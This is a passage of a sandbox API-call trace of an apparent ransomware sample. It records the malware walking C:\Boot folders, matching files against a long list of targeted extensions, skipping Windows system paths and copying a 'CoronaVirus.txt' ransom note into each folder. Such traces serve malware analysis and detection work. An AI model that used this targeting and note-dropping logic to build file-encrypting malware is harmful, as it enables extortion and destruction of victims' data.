	[0083.316] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.317] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.317] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.317] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.317] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.317] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.317] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.317] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.317] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.317] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.317] malloc (_Size=0x1000) returned 0x2f3f600
	[0083.317] _swprintf (in: param_1=0x2f3f600, param_2="%s\\%s" | out: param_1="C:\\Boot\\lt-LT\\CoronaVirus.txt") returned 29
	[0083.317] wcsstr (_Str="C:\\Boot\\lt-LT\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.317] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb04513f, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb04513f, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.317] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0083.317] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0083.317] wcsncmp (_String1="l", _String2=".", _MaxCount=0x1) returned 62
	[0083.317] wcsncmp (_String1="lv", _String2="..", _MaxCount=0x2) returned 62
	[0083.317] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\lv-LV") returned 13
	[0083.317] wcsncmp (_String1="C:\\Boot\\l", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.317] wcsstr (_Str="C:\\Boot\\lv-LV", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.317] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\lv-LV\\CoronaVirus.txt" (normalized: "c:\\boot\\lv-lv\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.328] _alloca_probe () returned 0x4036d0
	[0083.328] GetFullPathNameW (in: lpFileName="C:\\Boot\\lv-LV", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\lv-LV", lpFilePart=0x316583c*="lv-LV") returned 0xd
	[0083.328] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb06b353, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600710
	[0083.328] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.328] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb06b353, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.328] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.328] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.329] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.329] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.329] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.329] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.330] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.330] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.331] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.331] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.331] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb06b353, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb06b353, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.332] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.332] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.332] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.332] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.332] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.332] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.332] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.332] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.332] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.332] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.332] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.332] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.332] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.332] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.332] malloc (_Size=0x1000) returned 0x2f40608
	[0083.332] _swprintf (in: param_1=0x2f40608, param_2="%s\\%s" | out: param_1="C:\\Boot\\lv-LV\\CoronaVirus.txt") returned 29
	[0083.332] wcsstr (_Str="C:\\Boot\\lv-LV\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.332] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb06b353, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb06b353, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.332] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1
	[0083.332] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0083.332] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.332] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".bak", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".bat", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".doc", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".jpg", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".jpe", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".txt", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".tex", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".dbf", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".xls", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".cry", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".xml", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".vsd", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".pdf", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".csv", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".bmp", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".tif", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".1cd", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".tax", _SubStr=".exe") returned 0x0
	[0083.333] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.333] wcsstr (_Str=".gif", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".gbr", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".png", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".mdb", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".mdf", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".sdf", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".dwg", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".dxf", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".dgn", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".stl", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".gho", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".v2i", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".3ds", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".ppt", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".acc", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".vpd", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".odt", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".ods", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.334] wcsstr (_Str=".rar", _SubStr=".exe") returned 0x0
	[0083.334] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".zip", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".cpp", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".pas", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".asm", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".rtf", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".lic", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".avi", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".mov", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".mp3", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".vbs", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".v8i", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".erf", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".epf", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".mxl", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".cfu", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".mht", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".bak", _SubStr=".exe") returned 0x0
	[0083.335] _wcslwr (in: _String=0x3173af2 | out: _String=".exe") returned=".exe"
	[0083.335] wcsstr (_Str=".old", _SubStr=".exe") returned 0x0
	[0083.335] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0083.335] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0083.335] wcsncmp (_String1="nb", _String2="..", _MaxCount=0x2) returned 64
	[0083.336] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\nb-NO") returned 13
	[0083.336] wcsncmp (_String1="C:\\Boot\\n", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.336] wcsstr (_Str="C:\\Boot\\nb-NO", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.336] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\nb-NO\\CoronaVirus.txt" (normalized: "c:\\boot\\nb-no\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.338] _alloca_probe () returned 0x4036d0
	[0083.338] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x316583c*="nb-NO") returned 0xd
